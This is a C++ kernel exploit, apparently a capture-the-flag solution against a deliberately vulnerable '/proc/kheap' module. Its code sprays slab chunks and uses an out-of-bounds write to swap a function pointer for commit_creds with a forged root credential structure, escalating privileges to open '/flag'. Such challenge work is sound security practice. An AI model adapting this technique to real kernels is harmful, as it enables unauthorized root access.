#include <cstdio>
#include <cstring>
#include <cstdint>
#include <cstdlib>
#include <ctime>
#include <vector>

#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define CMD_COPY_TO_USER 22272
#define CMD_COPY_FROM_USER 22273
#define CMD_EXE_FUNC_PTR 22274

const uint64_t MODULE_BASE = 0xffffffffc0000000ull;
const uint64_t commit_creds = 0xffffffff810b8bb0ull;

struct cred {
  uint64_t usage;
  uint32_t uid;
  uint32_t gid;
  uint32_t suid;
  uint32_t sgid;
  uint32_t euid;
  uint32_t egid;
  uint32_t fsuid;
  uint32_t fsgid;
  unsigned int securebits;
  uint64_t cap_inheritable;
  uint64_t cap_permitted;
  uint64_t cap_effective;
  uint64_t cap_bset;
  uint64_t cap_ambient;
  unsigned char jit_keyring;
  void *session_keyring;
  void *process_keyring;
  void *thread_keyring;
  void *request_key_auth;
  void *security;
  void *user;
  void *user_ns;
  void *ucounts;
  void *group_info;
  union {
    int non_rcu;
    struct {
      void *next;
      void (*func)(void *head);
    } rcu __attribute__((aligned(sizeof(void *))));
  };
};

char buf[0x1000];
struct kheap_req_t {
  void * ubuf;
  size_t size;
} req = {buf, 0};
std::vector<int> fds;



int new_fd() {
  return open("/proc/kheap", O_RDWR);
}

bool is_slots_adjacent(int attack_fd, int victim_fd) {
  uint64_t * ptr;
  // write to victim_fd
  ptr = (uint64_t *) buf;
  int rand_value = rand();
  *ptr = rand_value;
  req.size = 0x8;
  ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
  // read from attack_fd
  req.size = 0x208;
  ioctl(attack_fd, CMD_COPY_TO_USER, &req);
  ptr = (uint64_t *) &buf[0x200];
  if ((*ptr) == rand_value) {
    printf("%d is adjacent to %d\n", attack_fd, victim_fd);
    return true;
  } else {
    printf("%d isn't adjacent to %d\n", attack_fd, victim_fd);
    return false;
  }
}

int find_attack_object(int victim_fd) {
  for (int i = 0; i < fds.size(); i++) {
    if (is_slots_adjacent(fds[i], victim_fd)) 
      return fds[i];
  }
  return -1;
}

void close_fds() {
  for (int i = 0; i < fds.size(); i++) {
    close(fds[i]);
  }
}

// Refer to 
// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
void do_fake_cred(struct cred *fake_cred) {
  memset(fake_cred, 0, sizeof(struct cred));
  // placement new
  new (fake_cred) cred {
    .usage			= 1,
    .uid			= 0,
    .gid			= 0,
    .suid			= 0,
    .sgid			= 0,
    .euid			= 0,
    .egid			= 0,
    .fsuid			= 0,
    .fsgid			= 0,
    .securebits		= 0,
    .cap_inheritable	= 0,
    .cap_permitted		= 0xFFFFFFFFFFFFFFFF,
    .cap_effective		= 0xFFFFFFFFFFFFFFFF,
    .cap_bset		= 0xFFFFFFFFFFFFFFFF,
    // nm -a /challenge/vmlinux | grep symbol_name
    .security = (void*)0xffffffff82a51560, // picked a kernel memory address and it worked
    .user			= (void*)0xffffffff82a51560, // root_user
    .user_ns		= (void*)0xffffffff82a51600, // init_user_ns
    .ucounts		= (void*)0xffffffff82a53800, // init_ucounts
    .group_info		= (void*)0xffffffff82a52fd8, // init_groups
  };
}

int main() {
  srand(time(NULL));

  int times = 1;
  int attack_fd, victim_fd = new_fd();
  fds.push_back(victim_fd);
  // try to find an attack chunk exactly before victim chunk
  while ((attack_fd = find_attack_object(victim_fd)) == -1) {
    if (times > 100) {
      printf("heap spray failed\n");
      return 0;
    }
    victim_fd = new_fd();
    fds.push_back(victim_fd);
    times++;
  }

  // fake a `struct cred` in victim chunk's `buf`
  struct cred fake_cred;
  do_fake_cred(&fake_cred);
  memcpy(buf, &fake_cred, sizeof(struct cred));
  req.size = sizeof(struct cred);
  ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
  // overwrite victim chunk's `func` to `commit_creds` via attack chunk's OOB
  uint64_t * ptr = (uint64_t *)&buf[0x1f8];
  *ptr = commit_creds;
  req.size = 0x200;
  ioctl(attack_fd, CMD_COPY_FROM_USER, &req);
  // execute function pointer in kernel space
  ioctl(victim_fd, CMD_EXE_FUNC_PTR, &req);
  // syscall execve lead to kernel problems as `struct cred` is faked
  // execve("/bin/sh", NULL, NULL);
  // try change the mode of flag
  chmod("/flag", 0777);

  close_fds();
  return 0;
}

// Protection:
// - No KASLR.
// - SMAP, SMEP On.
// - CONFIG_SLAB_FREELIST_RANDOM=y
// - CONFIG_SLAB_FREELIST_HARDENED=n
// - CONFIG_RANDSTRUCT=y

// Debug:
// Use `sudo cat /proc/modules` to get kernel module base.
// gdb> add-symbol-file /challenge/challenge2.ko 0xffffffffc0000000
// gdb> b kheap_open
// gdb> b kheap_ioctl
// An aligned slub slot is 0x200 bytes.

// $ g++ exploit.cpp -o exploit -g